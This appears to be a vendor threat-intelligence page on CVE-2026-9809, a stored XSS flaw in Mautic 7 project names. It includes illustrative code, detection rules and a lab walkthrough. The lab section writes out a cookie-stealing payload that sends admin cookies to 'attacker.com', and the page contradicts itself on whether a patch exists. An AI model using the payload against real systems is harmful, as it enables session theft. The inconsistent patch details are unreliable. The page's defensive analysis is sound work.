☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Mautic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.6 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-9809

CVE-2026-9809 Cross-Site Scripting in Mautic
📅 PUBLISHED: 2026-05-29 12:16 UTC 🔄 UPDATED: 2026-09-23 20:19 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-9809 is a stored Cross-Site Scripting (XSS) vulnerability in the Projects component of Mautic 7, an open-source marketing automation platform. The flaw allows an authenticated user with project creation or editing permissions to inject malicious scripts into project names. When an administrative user views an entity (e.g., campaign, email, form) associated with the compromised project and hovers over its tag, the injected script executes in the admin's browser session. This can lead to privilege escalation, unauthorized administrative actions, system configuration changes, or data exfiltration. The vulnerability has a CVSS score of 7.6 (High) and currently has no known patch or public exploit code.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Mautic is a PHP-based application distributed via GitHub and Composer. The vulnerability resides in the core application code, not in a third-party package. However, organizations using Mautic should verify the integrity of their installation and monitor for updates from the official Mautic repository. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
  • Base Score: 7.6 (High)
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): Low – The attacker needs an authenticated account with project creation/edit permissions.
  • User Interaction (UI): Required – The victim (admin) must hover over the malicious tag.
  • Scope (S): Unchanged – The vulnerability affects the same security authority.
  • Confidentiality (C): High – Sensitive data can be exfiltrated.
  • Integrity (I): High – System configurations can be altered.
  • Availability (A): None – The vulnerability does not affect availability.

Threat Level: High. The combination of low privileges required and high impact makes this a significant risk for Mautic deployments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Projects component. When a user creates or edits a project, the project name is stored in the database without proper sanitization. The name is later rendered in administrative detail views (e.g., campaigns, emails, forms) as a tag or popover. When an admin hovers over the tag, the browser executes the injected script.

Root Cause: The application fails to sanitize user-supplied project names before rendering them in HTML contexts. Specifically, the project_name field is not escaped when output in tag/popover templates.

Attack Flow:

  1. Attacker logs in with an account that has permissions to create or edit projects.
  2. Attacker creates a new project with a malicious name, e.g., <img src=x onerror=alert(1)>.
  3. The project is associated with a legitimate entity (e.g., a campaign).
  4. An admin views the campaign and hovers over the project tag.
  5. The injected script executes in the admin's browser, allowing the attacker to perform actions on behalf of the admin.

Prerequisites:

  • Authenticated user with project creation/edit permissions.
  • The victim admin must view an entity associated with the malicious project.
  • The victim must hover over the tag (user interaction).

Vulnerable vs. Patched Code

Vulnerable Code (Mautic 7):

// In ProjectController.php or similar
public function displayProjectTag($project) {
    // Direct output without sanitization
    echo '<span class="project-tag">' . $project->getName() . '</span>';
}

Patched Code (Expected):

// In ProjectController.php or similar
public function displayProjectTag($project) {
    // Sanitize output using htmlspecialchars
    echo '<span class="project-tag">' . htmlspecialchars($project->getName(), ENT_QUOTES, 'UTF-8') . '</span>';
}

Key Differences:

  • The vulnerable code directly echoes the project name without escaping.
  • The patched code uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

  1. Install Mautic 7 on a local server (e.g., using Docker: docker run -d -p 8080:80 mautic/mautic:v7).
  2. Create a standard user account with project creation permissions.
  3. Log in as the attacker and navigate to the Projects section.
  4. Create a new project with the following payload in the name field:
    <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
    
  5. Associate the project with a campaign or email.
  6. Log in as an admin user and view the associated entity.
  7. Hover over the project tag to trigger the XSS.

Expected Outcome: The admin's cookies are exfiltrated to the attacker's server.

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for unusual project names containing HTML tags or JavaScript.
  2. Review access logs for suspicious project creation activities.
  3. Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  4. Use Web Application Firewall (WAF) rules to block common XSS payloads.

Mitigation:

  • Apply input validation and output encoding for all user-supplied data.
  • Restrict project creation permissions to trusted users only.
  • Regularly update Mautic to the latest version.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Outbound HTTP requests to attacker-controlled domains from Mautic server.
    • Suspicious Referer headers containing project names with HTML tags.
  • File IOCs:

    • Log entries in app/logs/mautic_*.log showing project names with <script> or <img> tags.
  • Behavioral IOCs:

    • Unusual project names containing HTML or JavaScript.
    • Multiple project creation attempts from the same user in a short period.

Detection Engineering

YARA Rule

rule CVE_2026_9809_Mautic_XSS {
    meta:
        description = "Detects stored XSS payloads in Mautic project names"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-9809"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
        $xss4 = /javascript:[^"']+/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Mautic Stored XSS in Project Names
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in Mautic project names
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: mautic
detection:
    selection:
        event: project_created
        project_name|contains:
            - '<script'
            - '<img'
            - '<svg'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in project names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-9809 Mautic Stored XSS - Outbound Exfiltration";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/projects"; http_uri;
    pcre:"/(<script|<img|<svg|javascript:)/Pi";
    sid:1000001;
    rev:1;
    metadata:author "Valters IT", cve "CVE-2026-9809";
)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Permissions: Limit project creation and editing permissions to only trusted administrators.
  2. Input Validation: Implement server-side validation to reject project names containing HTML tags or JavaScript.
  3. Output Encoding: Apply htmlspecialchars() or equivalent to all project name outputs.
  4. Content Security Policy: Deploy CSP headers to block inline scripts and restrict script sources.

Long-Term Fix:

Workarounds:

  • Use a Web Application Firewall (WAF) with rules to block XSS payloads.
  • Monitor logs for suspicious project names and user activities.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-9809/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.